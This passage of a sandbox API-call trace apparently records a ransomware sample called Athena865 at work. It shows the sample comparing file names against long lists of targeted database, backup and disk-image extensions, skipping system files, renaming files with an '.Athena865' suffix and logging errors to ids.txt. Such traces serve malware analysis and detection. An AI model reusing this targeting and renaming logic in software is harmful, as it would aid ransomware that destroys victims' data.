[0035.651] lstrlenW (lpString="mdf") returned 3 [0035.651] lstrcmpiW (lpString1="OG1", lpString2="mdf") returned 1 [0035.651] lstrlenW (lpString="mdb") returned 3 [0035.651] lstrcmpiW (lpString1="OG1", lpString2="mdb") returned 1 [0035.651] lstrlenW (lpString="sql") returned 3 [0035.651] lstrcmpiW (lpString1="OG1", lpString2="sql") returned -1 [0035.651] lstrlenW (lpString="sqlite") returned 6 [0035.651] lstrcmpiW (lpString1="t.LOG1", lpString2="sqlite") returned 1 [0035.651] lstrlenW (lpString="sqlite3") returned 7 [0035.651] lstrcmpiW (lpString1="at.LOG1", lpString2="sqlite3") returned -1 [0035.651] lstrlenW (lpString="sqlitedb") returned 8 [0035.651] lstrcmpiW (lpString1="dat.LOG1", lpString2="sqlitedb") returned -1 [0035.651] lstrlenW (lpString="xml") returned 3 [0035.651] lstrcmpiW (lpString1="OG1", lpString2="xml") returned -1 [0035.651] lstrlenW (lpString="$er") returned 3 [0035.651] lstrcmpiW (lpString1="OG1", lpString2="$er") returned 1 [0035.651] lstrlenW (lpString="4dd") returned 3 [0035.651] lstrcmpiW (lpString1="OG1", lpString2="4dd") returned 1 [0035.651] lstrlenW (lpString="4dl") returned 3 [0035.651] lstrcmpiW (lpString1="OG1", lpString2="4dl") returned 1 [0035.651] lstrlenW (lpString="^^^") returned 3 [0035.651] lstrcmpiW (lpString1="OG1", lpString2="^^^") returned 1 [0035.651] lstrlenW (lpString="abs") returned 3 [0035.651] lstrcmpiW (lpString1="OG1", lpString2="abs") returned 1 [0035.651] lstrlenW (lpString="abx") returned 3 [0035.651] lstrcmpiW (lpString1="OG1", lpString2="abx") returned 1 [0035.651] lstrlenW (lpString="accdb") returned 5 [0035.651] lstrcmpiW (lpString1=".LOG1", lpString2="accdb") returned -1 [0035.651] lstrlenW (lpString="accdc") returned 5 [0035.651] lstrcmpiW (lpString1=".LOG1", lpString2="accdc") returned -1 [0035.651] lstrlenW (lpString="accde") returned 5 [0035.651] lstrcmpiW (lpString1=".LOG1", lpString2="accde") returned -1 [0035.651] lstrlenW (lpString="accdr") returned 5 [0035.651] lstrcmpiW (lpString1=".LOG1", lpString2="accdr") returned -1 [0035.651] lstrlenW (lpString="accdt") returned 5 [0035.652] lstrcmpiW (lpString1=".LOG1", lpString2="accdt") returned -1 [0035.652] lstrlenW (lpString="accdw") returned 5 [0035.652] lstrcmpiW (lpString1=".LOG1", lpString2="accdw") returned -1 [0035.652] lstrlenW (lpString="accft") returned 5 [0035.652] lstrcmpiW (lpString1=".LOG1", lpString2="accft") returned -1 [0035.652] lstrlenW (lpString="adb") returned 3 [0035.652] lstrcmpiW (lpString1="OG1", lpString2="adb") returned 1 [0035.652] lstrlenW (lpString="adb") returned 3 [0035.652] lstrcmpiW (lpString1="OG1", lpString2="adb") returned 1 [0035.652] lstrlenW (lpString="ade") returned 3 [0035.652] lstrcmpiW (lpString1="OG1", lpString2="ade") returned 1 [0035.652] lstrlenW (lpString="adf") returned 3 [0035.652] lstrcmpiW (lpString1="OG1", lpString2="adf") returned 1 [0035.652] lstrlenW (lpString="adn") returned 3 [0035.652] lstrcmpiW (lpString1="OG1", lpString2="adn") returned 1 [0035.652] lstrlenW (lpString="adp") returned 3 [0035.652] lstrcmpiW (lpString1="OG1", lpString2="adp") returned 1 [0035.652] lstrlenW (lpString="alf") returned 3 [0035.652] lstrcmpiW (lpString1="OG1", lpString2="alf") returned 1 [0035.652] lstrlenW (lpString="ask") returned 3 [0035.652] lstrcmpiW (lpString1="OG1", lpString2="ask") returned 1 [0035.652] lstrlenW (lpString="btr") returned 3 [0035.652] lstrcmpiW (lpString1="OG1", lpString2="btr") returned 1 [0035.652] lstrlenW (lpString="cat") returned 3 [0035.652] lstrcmpiW (lpString1="OG1", lpString2="cat") returned 1 [0035.652] lstrlenW (lpString="cdb") returned 3 [0035.652] lstrcmpiW (lpString1="OG1", lpString2="cdb") returned 1 [0035.652] lstrlenW (lpString="ckp") returned 3 [0035.652] lstrcmpiW (lpString1="OG1", lpString2="ckp") returned 1 [0035.652] lstrlenW (lpString="cma") returned 3 [0035.652] lstrcmpiW (lpString1="OG1", lpString2="cma") returned 1 [0035.652] lstrlenW (lpString="cpd") returned 3 [0035.652] lstrcmpiW (lpString1="OG1", lpString2="cpd") returned 1 [0035.652] lstrlenW (lpString="dacpac") returned 6 [0035.652] lstrcmpiW (lpString1="t.LOG1", lpString2="dacpac") returned 1 [0035.652] lstrlenW (lpString="dad") returned 3 [0035.652] lstrcmpiW (lpString1="OG1", lpString2="dad") returned 1 [0035.652] lstrlenW (lpString="dadiagrams") returned 10 [0035.652] lstrcmpiW (lpString1="r.dat.LOG1", lpString2="dadiagrams") returned 1 [0035.653] lstrlenW (lpString="daschema") returned 8 [0035.653] lstrcmpiW (lpString1="dat.LOG1", lpString2="daschema") returned 1 [0035.653] lstrlenW (lpString="db-journal") returned 10 [0035.653] lstrcmpiW (lpString1="r.dat.LOG1", lpString2="db-journal") returned 1 [0035.653] lstrlenW (lpString="db-shm") returned 6 [0035.653] lstrcmpiW (lpString1="t.LOG1", lpString2="db-shm") returned 1 [0035.653] lstrlenW (lpString="db-wal") returned 6 [0035.653] lstrcmpiW (lpString1="t.LOG1", lpString2="db-wal") returned 1 [0035.653] lstrlenW (lpString="dbc") returned 3 [0035.653] lstrcmpiW (lpString1="OG1", lpString2="dbc") returned 1 [0035.653] lstrlenW (lpString="dbs") returned 3 [0035.653] lstrcmpiW (lpString1="OG1", lpString2="dbs") returned 1 [0035.653] lstrlenW (lpString="dbt") returned 3 [0035.653] lstrcmpiW (lpString1="OG1", lpString2="dbt") returned 1 [0035.653] lstrlenW (lpString="dbv") returned 3 [0035.653] lstrcmpiW (lpString1="OG1", lpString2="dbv") returned 1 [0035.653] lstrlenW (lpString="dbx") returned 3 [0035.653] lstrcmpiW (lpString1="OG1", lpString2="dbx") returned 1 [0035.653] lstrlenW (lpString="dcb") returned 3 [0035.653] lstrcmpiW (lpString1="OG1", lpString2="dcb") returned 1 [0035.653] lstrlenW (lpString="dct") returned 3 [0035.653] lstrcmpiW (lpString1="OG1", lpString2="dct") returned 1 [0035.653] lstrlenW (lpString="dcx") returned 3 [0035.653] lstrcmpiW (lpString1="OG1", lpString2="dcx") returned 1 [0035.653] lstrlenW (lpString="ddl") returned 3 [0035.653] lstrcmpiW (lpString1="OG1", lpString2="ddl") returned 1 [0035.653] lstrlenW (lpString="dlis") returned 4 [0035.653] lstrcmpiW (lpString1="LOG1", lpString2="dlis") returned 1 [0035.653] lstrlenW (lpString="dp1") returned 3 [0035.653] lstrcmpiW (lpString1="OG1", lpString2="dp1") returned 1 [0035.653] lstrlenW (lpString="dqy") returned 3 [0035.653] lstrcmpiW (lpString1="OG1", lpString2="dqy") returned 1 [0035.653] lstrlenW (lpString="dsk") returned 3 [0035.653] lstrcmpiW (lpString1="OG1", lpString2="dsk") returned 1 [0035.653] lstrlenW (lpString="dsn") returned 3 [0035.653] lstrcmpiW (lpString1="OG1", lpString2="dsn") returned 1 [0035.653] lstrlenW (lpString="dtsx") returned 4 [0035.653] lstrcmpiW (lpString1="LOG1", lpString2="dtsx") returned 1 [0035.653] lstrlenW (lpString="dxl") returned 3 [0035.654] lstrcmpiW (lpString1="OG1", lpString2="dxl") returned 1 [0035.654] lstrlenW (lpString="eco") returned 3 [0035.654] lstrcmpiW (lpString1="OG1", lpString2="eco") returned 1 [0035.654] lstrlenW (lpString="ecx") returned 3 [0035.654] lstrcmpiW (lpString1="OG1", lpString2="ecx") returned 1 [0035.654] lstrlenW (lpString="edb") returned 3 [0035.654] lstrcmpiW (lpString1="OG1", lpString2="edb") returned 1 [0035.654] lstrlenW (lpString="epim") returned 4 [0035.654] lstrcmpiW (lpString1="LOG1", lpString2="epim") returned 1 [0035.654] lstrlenW (lpString="fcd") returned 3 [0035.654] lstrcmpiW (lpString1="OG1", lpString2="fcd") returned 1 [0035.654] lstrlenW (lpString="fdb") returned 3 [0035.654] lstrcmpiW (lpString1="OG1", lpString2="fdb") returned 1 [0035.654] lstrlenW (lpString="fic") returned 3 [0035.654] lstrcmpiW (lpString1="OG1", lpString2="fic") returned 1 [0035.654] lstrlenW (lpString="flexolibrary") returned 12 [0035.654] lstrcmpiW (lpString1="ser.dat.LOG1", lpString2="flexolibrary") returned 1 [0035.654] lstrlenW (lpString="fm5") returned 3 [0035.654] lstrcmpiW (lpString1="OG1", lpString2="fm5") returned 1 [0035.654] lstrlenW (lpString="fmp") returned 3 [0035.654] lstrcmpiW (lpString1="OG1", lpString2="fmp") returned 1 [0035.654] lstrlenW (lpString="fmp12") returned 5 [0035.654] lstrcmpiW (lpString1=".LOG1", lpString2="fmp12") returned -1 [0035.654] lstrlenW (lpString="fmpsl") returned 5 [0035.654] lstrcmpiW (lpString1=".LOG1", lpString2="fmpsl") returned -1 [0035.654] lstrlenW (lpString="fol") returned 3 [0035.654] lstrcmpiW (lpString1="OG1", lpString2="fol") returned 1 [0035.654] lstrlenW (lpString="fp3") returned 3 [0035.654] lstrcmpiW (lpString1="OG1", lpString2="fp3") returned 1 [0035.654] lstrlenW (lpString="fp4") returned 3 [0035.654] lstrcmpiW (lpString1="OG1", lpString2="fp4") returned 1 [0035.654] lstrlenW (lpString="fp5") returned 3 [0035.654] lstrcmpiW (lpString1="OG1", lpString2="fp5") returned 1 [0035.654] lstrlenW (lpString="fp7") returned 3 [0035.654] lstrcmpiW (lpString1="OG1", lpString2="fp7") returned 1 [0035.654] lstrlenW (lpString="fpt") returned 3 [0035.654] lstrcmpiW (lpString1="OG1", lpString2="fpt") returned 1 [0035.654] lstrlenW (lpString="frm") returned 3 [0035.655] lstrcmpiW (lpString1="OG1", lpString2="frm") returned 1 [0035.655] lstrlenW (lpString="gdb") returned 3 [0035.655] lstrcmpiW (lpString1="OG1", lpString2="gdb") returned 1 [0035.655] lstrlenW (lpString="gdb") returned 3 [0035.655] lstrcmpiW (lpString1="OG1", lpString2="gdb") returned 1 [0035.655] lstrlenW (lpString="grdb") returned 4 [0035.655] lstrcmpiW (lpString1="LOG1", lpString2="grdb") returned 1 [0035.655] lstrlenW (lpString="gwi") returned 3 [0035.655] lstrcmpiW (lpString1="OG1", lpString2="gwi") returned 1 [0035.655] lstrlenW (lpString="hdb") returned 3 [0035.655] lstrcmpiW (lpString1="OG1", lpString2="hdb") returned 1 [0035.655] lstrlenW (lpString="his") returned 3 [0035.655] lstrcmpiW (lpString1="OG1", lpString2="his") returned 1 [0035.655] lstrlenW (lpString="ib") returned 2 [0035.655] lstrcmpiW (lpString1="G1", lpString2="ib") returned -1 [0035.655] lstrlenW (lpString="idb") returned 3 [0035.655] lstrcmpiW (lpString1="OG1", lpString2="idb") returned 1 [0035.655] lstrlenW (lpString="ihx") returned 3 [0035.655] lstrcmpiW (lpString1="OG1", lpString2="ihx") returned 1 [0035.655] lstrlenW (lpString="itdb") returned 4 [0035.655] lstrcmpiW (lpString1="LOG1", lpString2="itdb") returned 1 [0035.655] lstrlenW (lpString="itw") returned 3 [0035.655] lstrcmpiW (lpString1="OG1", lpString2="itw") returned 1 [0035.655] lstrlenW (lpString="jet") returned 3 [0035.655] lstrcmpiW (lpString1="OG1", lpString2="jet") returned 1 [0035.655] lstrlenW (lpString="jtx") returned 3 [0035.655] lstrcmpiW (lpString1="OG1", lpString2="jtx") returned 1 [0035.655] lstrlenW (lpString="kdb") returned 3 [0035.655] lstrcmpiW (lpString1="OG1", lpString2="kdb") returned 1 [0035.655] lstrlenW (lpString="kexi") returned 4 [0035.655] lstrcmpiW (lpString1="LOG1", lpString2="kexi") returned 1 [0035.655] lstrlenW (lpString="kexic") returned 5 [0035.655] lstrcmpiW (lpString1=".LOG1", lpString2="kexic") returned -1 [0035.655] lstrlenW (lpString="kexis") returned 5 [0035.655] lstrcmpiW (lpString1=".LOG1", lpString2="kexis") returned -1 [0035.655] lstrlenW (lpString="lgc") returned 3 [0035.655] lstrcmpiW (lpString1="OG1", lpString2="lgc") returned 1 [0035.655] lstrlenW (lpString="lwx") returned 3 [0035.655] lstrcmpiW (lpString1="OG1", lpString2="lwx") returned 1 [0035.656] lstrlenW (lpString="maf") returned 3 [0035.656] lstrcmpiW (lpString1="OG1", lpString2="maf") returned 1 [0035.656] lstrlenW (lpString="maq") returned 3 [0035.656] lstrcmpiW (lpString1="OG1", lpString2="maq") returned 1 [0035.656] lstrlenW (lpString="mar") returned 3 [0035.656] lstrcmpiW (lpString1="OG1", lpString2="mar") returned 1 [0035.656] lstrlenW (lpString="marshal") returned 7 [0035.656] lstrcmpiW (lpString1="at.LOG1", lpString2="marshal") returned -1 [0035.656] lstrlenW (lpString="mas") returned 3 [0035.656] lstrcmpiW (lpString1="OG1", lpString2="mas") returned 1 [0035.656] lstrlenW (lpString="mav") returned 3 [0035.656] lstrcmpiW (lpString1="OG1", lpString2="mav") returned 1 [0035.656] lstrlenW (lpString="maw") returned 3 [0035.656] lstrcmpiW (lpString1="OG1", lpString2="maw") returned 1 [0035.656] lstrlenW (lpString="mdbhtml") returned 7 [0035.656] lstrcmpiW (lpString1="at.LOG1", lpString2="mdbhtml") returned -1 [0035.656] lstrlenW (lpString="mdn") returned 3 [0035.656] lstrcmpiW (lpString1="OG1", lpString2="mdn") returned 1 [0035.656] lstrlenW (lpString="mdt") returned 3 [0035.656] lstrcmpiW (lpString1="OG1", lpString2="mdt") returned 1 [0035.656] lstrlenW (lpString="mfd") returned 3 [0035.656] lstrcmpiW (lpString1="OG1", lpString2="mfd") returned 1 [0035.656] lstrlenW (lpString="mpd") returned 3 [0035.656] lstrcmpiW (lpString1="OG1", lpString2="mpd") returned 1 [0035.656] lstrlenW (lpString="mrg") returned 3 [0035.656] lstrcmpiW (lpString1="OG1", lpString2="mrg") returned 1 [0035.656] lstrlenW (lpString="mud") returned 3 [0035.656] lstrcmpiW (lpString1="OG1", lpString2="mud") returned 1 [0035.656] lstrlenW (lpString="mwb") returned 3 [0035.656] lstrcmpiW (lpString1="OG1", lpString2="mwb") returned 1 [0035.656] lstrlenW (lpString="myd") returned 3 [0035.656] lstrcmpiW (lpString1="OG1", lpString2="myd") returned 1 [0035.656] lstrlenW (lpString="ndf") returned 3 [0035.656] lstrcmpiW (lpString1="OG1", lpString2="ndf") returned 1 [0035.656] lstrlenW (lpString="nnt") returned 3 [0035.656] lstrcmpiW (lpString1="OG1", lpString2="nnt") returned 1 [0035.656] lstrlenW (lpString="nrmlib") returned 6 [0035.656] lstrcmpiW (lpString1="t.LOG1", lpString2="nrmlib") returned 1 [0035.656] lstrlenW (lpString="ns2") returned 3 [0035.657] lstrcmpiW (lpString1="OG1", lpString2="ns2") returned 1 [0035.657] lstrlenW (lpString="ns3") returned 3 [0035.657] lstrcmpiW (lpString1="OG1", lpString2="ns3") returned 1 [0035.657] lstrlenW (lpString="ns4") returned 3 [0035.657] lstrcmpiW (lpString1="OG1", lpString2="ns4") returned 1 [0035.657] lstrlenW (lpString="nsf") returned 3 [0035.657] lstrcmpiW (lpString1="OG1", lpString2="nsf") returned 1 [0035.657] lstrlenW (lpString="nv") returned 2 [0035.657] lstrcmpiW (lpString1="G1", lpString2="nv") returned -1 [0035.657] lstrlenW (lpString="nv2") returned 3 [0035.657] lstrcmpiW (lpString1="OG1", lpString2="nv2") returned 1 [0035.657] lstrlenW (lpString="nwdb") returned 4 [0035.657] lstrcmpiW (lpString1="LOG1", lpString2="nwdb") returned -1 [0035.657] lstrlenW (lpString="nyf") returned 3 [0035.657] lstrcmpiW (lpString1="OG1", lpString2="nyf") returned 1 [0035.657] lstrlenW (lpString="odb") returned 3 [0035.657] lstrcmpiW (lpString1="OG1", lpString2="odb") returned 1 [0035.657] lstrlenW (lpString="odb") returned 3 [0035.657] lstrcmpiW (lpString1="OG1", lpString2="odb") returned 1 [0035.657] lstrlenW (lpString="oqy") returned 3 [0035.657] lstrcmpiW (lpString1="OG1", lpString2="oqy") returned -1 [0035.657] lstrlenW (lpString="ora") returned 3 [0035.657] lstrcmpiW (lpString1="OG1", lpString2="ora") returned -1 [0035.657] lstrlenW (lpString="orx") returned 3 [0035.657] lstrcmpiW (lpString1="OG1", lpString2="orx") returned -1 [0035.657] lstrlenW (lpString="owc") returned 3 [0035.657] lstrcmpiW (lpString1="OG1", lpString2="owc") returned -1 [0035.657] lstrlenW (lpString="p96") returned 3 [0035.657] lstrcmpiW (lpString1="OG1", lpString2="p96") returned -1 [0035.657] lstrlenW (lpString="p97") returned 3 [0035.657] lstrcmpiW (lpString1="OG1", lpString2="p97") returned -1 [0035.657] lstrlenW (lpString="pan") returned 3 [0035.657] lstrcmpiW (lpString1="OG1", lpString2="pan") returned -1 [0035.657] lstrlenW (lpString="pdb") returned 3 [0035.657] lstrcmpiW (lpString1="OG1", lpString2="pdb") returned -1 [0035.657] lstrlenW (lpString="pdm") returned 3 [0035.657] lstrcmpiW (lpString1="OG1", lpString2="pdm") returned -1 [0035.657] lstrlenW (lpString="pnz") returned 3 [0035.658] lstrcmpiW (lpString1="OG1", lpString2="pnz") returned -1 [0035.658] lstrlenW (lpString="qry") returned 3 [0035.658] lstrcmpiW (lpString1="OG1", lpString2="qry") returned -1 [0035.658] lstrlenW (lpString="qvd") returned 3 [0035.658] lstrcmpiW (lpString1="OG1", lpString2="qvd") returned -1 [0035.658] lstrlenW (lpString="rbf") returned 3 [0035.658] lstrcmpiW (lpString1="OG1", lpString2="rbf") returned -1 [0035.658] lstrlenW (lpString="rctd") returned 4 [0035.658] lstrcmpiW (lpString1="LOG1", lpString2="rctd") returned -1 [0035.658] lstrlenW (lpString="rod") returned 3 [0035.658] lstrcmpiW (lpString1="OG1", lpString2="rod") returned -1 [0035.658] lstrlenW (lpString="rodx") returned 4 [0035.658] lstrcmpiW (lpString1="LOG1", lpString2="rodx") returned -1 [0035.658] lstrlenW (lpString="rpd") returned 3 [0035.658] lstrcmpiW (lpString1="OG1", lpString2="rpd") returned -1 [0035.658] lstrlenW (lpString="rsd") returned 3 [0035.658] lstrcmpiW (lpString1="OG1", lpString2="rsd") returned -1 [0035.658] lstrlenW (lpString="sas7bdat") returned 8 [0035.658] lstrcmpiW (lpString1="dat.LOG1", lpString2="sas7bdat") returned -1 [0035.658] lstrlenW (lpString="sbf") returned 3 [0035.658] lstrcmpiW (lpString1="OG1", lpString2="sbf") returned -1 [0035.658] lstrlenW (lpString="scx") returned 3 [0035.658] lstrcmpiW (lpString1="OG1", lpString2="scx") returned -1 [0035.658] lstrlenW (lpString="sdb") returned 3 [0035.658] lstrcmpiW (lpString1="OG1", lpString2="sdb") returned -1 [0035.658] lstrlenW (lpString="sdc") returned 3 [0035.658] lstrcmpiW (lpString1="OG1", lpString2="sdc") returned -1 [0035.658] lstrlenW (lpString="sdf") returned 3 [0035.658] lstrcmpiW (lpString1="OG1", lpString2="sdf") returned -1 [0035.658] lstrlenW (lpString="sis") returned 3 [0035.658] lstrcmpiW (lpString1="OG1", lpString2="sis") returned -1 [0035.658] lstrlenW (lpString="spq") returned 3 [0035.658] lstrcmpiW (lpString1="OG1", lpString2="spq") returned -1 [0035.658] lstrlenW (lpString="te") returned 2 [0035.658] lstrcmpiW (lpString1="G1", lpString2="te") returned -1 [0035.658] lstrlenW (lpString="teacher") returned 7 [0035.658] lstrcmpiW (lpString1="at.LOG1", lpString2="teacher") returned -1 [0035.658] lstrlenW (lpString="tmd") returned 3 [0035.659] lstrcmpiW (lpString1="OG1", lpString2="tmd") returned -1 [0035.659] lstrlenW (lpString="tps") returned 3 [0035.659] lstrcmpiW (lpString1="OG1", lpString2="tps") returned -1 [0035.659] lstrlenW (lpString="trc") returned 3 [0035.659] lstrcmpiW (lpString1="OG1", lpString2="trc") returned -1 [0035.659] lstrlenW (lpString="trc") returned 3 [0035.659] lstrcmpiW (lpString1="OG1", lpString2="trc") returned -1 [0035.659] lstrlenW (lpString="trm") returned 3 [0035.659] lstrcmpiW (lpString1="OG1", lpString2="trm") returned -1 [0035.659] lstrlenW (lpString="udb") returned 3 [0035.659] lstrcmpiW (lpString1="OG1", lpString2="udb") returned -1 [0035.659] lstrlenW (lpString="udl") returned 3 [0035.659] lstrcmpiW (lpString1="OG1", lpString2="udl") returned -1 [0035.659] lstrlenW (lpString="usr") returned 3 [0035.659] lstrcmpiW (lpString1="OG1", lpString2="usr") returned -1 [0035.659] lstrlenW (lpString="v12") returned 3 [0035.659] lstrcmpiW (lpString1="OG1", lpString2="v12") returned -1 [0035.659] lstrlenW (lpString="vis") returned 3 [0035.659] lstrcmpiW (lpString1="OG1", lpString2="vis") returned -1 [0035.659] lstrlenW (lpString="vpd") returned 3 [0035.659] lstrcmpiW (lpString1="OG1", lpString2="vpd") returned -1 [0035.659] lstrlenW (lpString="vvv") returned 3 [0035.659] lstrcmpiW (lpString1="OG1", lpString2="vvv") returned -1 [0035.659] lstrlenW (lpString="wdb") returned 3 [0035.659] lstrcmpiW (lpString1="OG1", lpString2="wdb") returned -1 [0035.659] lstrlenW (lpString="wmdb") returned 4 [0035.659] lstrcmpiW (lpString1="LOG1", lpString2="wmdb") returned -1 [0035.659] lstrlenW (lpString="wrk") returned 3 [0035.659] lstrcmpiW (lpString1="OG1", lpString2="wrk") returned -1 [0035.659] lstrlenW (lpString="xdb") returned 3 [0035.659] lstrcmpiW (lpString1="OG1", lpString2="xdb") returned -1 [0035.659] lstrlenW (lpString="xld") returned 3 [0035.659] lstrcmpiW (lpString1="OG1", lpString2="xld") returned -1 [0035.659] lstrlenW (lpString="xmlff") returned 5 [0035.659] lstrcmpiW (lpString1=".LOG1", lpString2="xmlff") returned -1 [0035.659] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1.Athena865") returned 72 [0035.659] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\ntuser.dat.log1"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\ntuser.dat.log1.athena865"), dwFlags=0x1) returned 0 [0035.660] GetLastError () returned 0x20 [0035.660] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1 MoveFileEx error 32\r\n") returned 92 [0035.660] lstrlenA (lpString="[ERROR] C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1 MoveFileEx error 32\r\n") returned 92 [0035.660] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.660] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1202 [0035.660] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x5c, lpOverlapped=0x0) returned 1 [0035.660] CloseHandle (hObject=0x154) returned 1 [0035.661] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.661] CloseHandle (hObject=0x0) returned 0 [0035.661] CloseHandle (hObject=0x0) returned 0 [0035.661] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0035.661] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.661] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.661] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2=".") returned 1 [0035.661] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="..") returned 1 [0035.661] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="windows") returned -1 [0035.661] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="bootmgr") returned 1 [0035.661] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="temp") returned -1 [0035.661] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="pagefile.sys") returned -1 [0035.661] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="boot") returned 1 [0035.661] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="ids.txt") returned 1 [0035.661] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="ntuser.dat") returned 1 [0035.661] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="perflogs") returned -1 [0035.661] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="MSBuild") returned 1 [0035.661] lstrlenW (lpString="ntuser.dat.LOG2") returned 15 [0035.661] lstrcpyW (in: lpString1=0x241e8a6, lpString2="ntuser.dat.LOG2" | out: lpString1="ntuser.dat.LOG2") returned="ntuser.dat.LOG2" [0035.661] lstrlenW (lpString="ntuser.dat.LOG2") returned 15 [0035.661] lstrlenW (lpString="Athena865") returned 9 [0035.661] lstrcmpiW (lpString1=".dat.LOG2", lpString2="Athena865") returned -1 [0035.661] lstrlenW (lpString=".dll") returned 4 [0035.661] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2=".dll") returned 1 [0035.661] lstrlenW (lpString=".lnk") returned 4 [0035.661] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2=".lnk") returned 1 [0035.662] lstrlenW (lpString=".ini") returned 4 [0035.662] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2=".ini") returned 1 [0035.662] lstrlenW (lpString=".sys") returned 4 [0035.662] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2=".sys") returned 1 [0035.662] lstrlenW (lpString="ntuser.dat.LOG2") returned 15 [0035.662] lstrlenW (lpString="bak") returned 3 [0035.662] lstrcmpiW (lpString1="OG2", lpString2="bak") returned 1 [0035.662] lstrlenW (lpString="ba_") returned 3 [0035.662] lstrcmpiW (lpString1="OG2", lpString2="ba_") returned 1 [0035.662] lstrlenW (lpString="dbb") returned 3 [0035.662] lstrcmpiW (lpString1="OG2", lpString2="dbb") returned 1 [0035.662] lstrlenW (lpString="vmdk") returned 4 [0035.662] lstrcmpiW (lpString1="LOG2", lpString2="vmdk") returned -1 [0035.662] lstrlenW (lpString="rar") returned 3 [0035.662] lstrcmpiW (lpString1="OG2", lpString2="rar") returned -1 [0035.662] lstrlenW (lpString="zip") returned 3 [0035.662] lstrcmpiW (lpString1="OG2", lpString2="zip") returned -1 [0035.662] lstrlenW (lpString="tgz") returned 3 [0035.662] lstrcmpiW (lpString1="OG2", lpString2="tgz") returned -1 [0035.662] lstrlenW (lpString="vbox") returned 4 [0035.662] lstrcmpiW (lpString1="LOG2", lpString2="vbox") returned -1 [0035.662] lstrlenW (lpString="vdi") returned 3 [0035.662] lstrcmpiW (lpString1="OG2", lpString2="vdi") returned -1 [0035.662] lstrlenW (lpString="vhd") returned 3 [0035.662] lstrcmpiW (lpString1="OG2", lpString2="vhd") returned -1 [0035.662] lstrlenW (lpString="vhdx") returned 4 [0035.662] lstrcmpiW (lpString1="LOG2", lpString2="vhdx") returned -1 [0035.662] lstrlenW (lpString="avhd") returned 4 [0035.662] lstrcmpiW (lpString1="LOG2", lpString2="avhd") returned 1 [0035.662] lstrlenW (lpString="db") returned 2 [0035.662] lstrcmpiW (lpString1="G2", lpString2="db") returned 1 [0035.662] lstrlenW (lpString="db2") returned 3 [0035.662] lstrcmpiW (lpString1="OG2", lpString2="db2") returned 1 [0035.662] lstrlenW (lpString="db3") returned 3 [0035.662] lstrcmpiW (lpString1="OG2", lpString2="db3") returned 1 [0035.662] lstrlenW (lpString="dbf") returned 3 [0035.662] lstrcmpiW (lpString1="OG2", lpString2="dbf") returned 1 [0035.663] lstrlenW (lpString="mdf") returned 3 [0035.663] lstrcmpiW (lpString1="OG2", lpString2="mdf") returned 1 [0035.663] lstrlenW (lpString="mdb") returned 3 [0035.663] lstrcmpiW (lpString1="OG2", lpString2="mdb") returned 1 [0035.663] lstrlenW (lpString="sql") returned 3 [0035.663] lstrcmpiW (lpString1="OG2", lpString2="sql") returned -1 [0035.663] lstrlenW (lpString="sqlite") returned 6 [0035.663] lstrcmpiW (lpString1="t.LOG2", lpString2="sqlite") returned 1 [0035.663] lstrlenW (lpString="sqlite3") returned 7 [0035.663] lstrcmpiW (lpString1="at.LOG2", lpString2="sqlite3") returned -1 [0035.663] lstrlenW (lpString="sqlitedb") returned 8 [0035.663] lstrcmpiW (lpString1="dat.LOG2", lpString2="sqlitedb") returned -1 [0035.663] 